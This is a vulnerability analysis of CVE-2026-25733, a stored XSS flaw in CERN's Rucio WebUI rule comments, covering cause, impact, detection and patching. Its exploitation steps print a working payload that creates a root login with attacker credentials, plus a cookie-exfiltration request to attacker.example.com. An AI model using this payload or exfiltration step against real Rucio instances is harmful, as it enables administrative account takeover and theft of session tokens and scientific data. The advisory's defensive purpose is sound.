CVE-2026-25733: 
Python vulnerability analysis and mitigation

CVE-2026-25733 is a stored Cross-Site Scripting (XSS) vulnerability in the Custom Rules function of the Rucio WebUI, a scientific data management platform developed by CERN. An authenticated attacker can inject a malicious payload into the comment field of a rule creation request; the payload is persisted by the backend and executed in the WebUI origin when any user views or approves the affected rule. Affected versions include rucio-webui before 35.8.3, 36.0.0rc1 through before 38.5.4, and 39.0.0rc1 through before 39.3.1. The vulnerability was published on February 25, 2026, with a CVSS v3.1 base score of 7.3 (High) per the GitHub Advisory Database (GitHub Advisory, Rucio Advisory).

The root cause is improper neutralization of user-controlled input before it is rendered in the WebUI (CWE-79), compounded by session cookies lacking the HttpOnly flag (CWE-1004). A malicious payload placed in the comment field of a POST request to /proxy/rules/ is stored by the backend without sanitization; when the rule is later viewed via Monitoring > Subscriptions and Rules > Show My Rules or approved via Data Transfer (R2D2) > Approve Rules, the stored script executes in the WebUI origin. The impact is amplified because session cookies are accessible to JavaScript and API tokens are exposed as JavaScript variables (e.g., var token = "root-root-webui-...:" on pages such as /ui/list_accounts). Exploitation requires only low privileges (an authenticated account) and user interaction (a victim viewing the affected page) (GitHub Advisory, Rucio Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the WebUI origin of any user who views the poisoned rule, enabling session token theft, API credential exfiltration, and unauthorized actions performed as the victim. Concrete attacker actions include creating a new UserPass identity with an attacker-controlled password, creating or deleting Rucio Storage Elements (RSEs), and exfiltrating sensitive scientific data managed by the platform. Because the payload can be triggered by administrative users during the rule approval workflow, the vulnerability can lead to full administrative account takeover (GitHub Advisory, Rucio Advisory).

1. Authenticate: Log in to the Rucio WebUI with any valid low-privilege account.
2. Craft the payload: Prepare a stored XSS payload for the rule comment field. Example to create a root UserPass identity:

   <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

3. Inject via rule creation: Navigate to Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment and submit the payload in the comment field via a POST request to /proxy/rules/:

   {"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"comment":"<XSS_PAYLOAD>",...}

4. Wait for victim interaction: The payload executes when any user views the rule at /ui/rule?rule_id=<id> (user trigger) or when an administrator reviews it under Data Transfer (R2D2) > Approve Rules (admin trigger).
5. Exfiltrate session token: The script reads the session cookie (accessible due to missing HttpOnly flag) and sends it base64-encoded to an attacker-controlled server: GET https://attacker.example.com/rucio/{BASE64_COOKIE}.
6. Escalate privileges: Using the exfiltrated token or the newly created root UserPass identity, authenticate as an administrator and perform further actions such as creating/deleting RSEs or exfiltrating data (GitHub Advisory, Rucio Advisory).

• Network: Outbound GET requests from the Rucio server or client browsers to unknown external domains with base64-encoded path segments (e.g., GET https://attacker.example.com/rucio/<BASE64_STRING>); unexpected PUT requests to /identities/root/userpass originating from WebUI sessions.
• Logs: Rucio WebUI access logs showing POST requests to /proxy/rules/ with HTML/JavaScript content in the comment field; unexpected 201 CREATED responses for identity creation (PUT /identities/root/userpass) not initiated by administrators.
• Application State: Presence of unexpected UserPass identities (e.g., attacker-created accounts) in the Rucio identity store; newly created or deleted RSEs not corresponding to authorized change requests.
• Browser/Session: Session tokens appearing in external server logs or DNS queries; users reporting unexpected logouts or unauthorized actions performed under their accounts (GitHub Advisory, Rucio Advisory).

Upgrade rucio-webui to one of the patched versions: 35.8.3 (LTS branch), 38.5.4 (LTS branch), or 39.3.1 (current branch), all released on February 25, 2026 (Rucio 35.8.3, Rucio 38.5.4, Rucio 39.3.1). As defense-in-depth measures, enforce the HttpOnly flag on all session cookies, remove API token exposure from JavaScript-accessible variables, enforce a strict Content Security Policy (CSP), and replace unsafe DOM methods (e.g., .html()) with safe alternatives (.text() or text nodes). Follow the OWASP XSS Prevention Cheat Sheet for additional guidance (GitHub Advisory).

The vulnerability was reported by security researcher d-woosley and published by Rucio maintainer bziemons on February 25, 2026. The advisory was noted on Bluesky by CVE tracking accounts shortly after publication. No significant broader media coverage or notable researcher commentary beyond the official advisory has been identified (GitHub Advisory).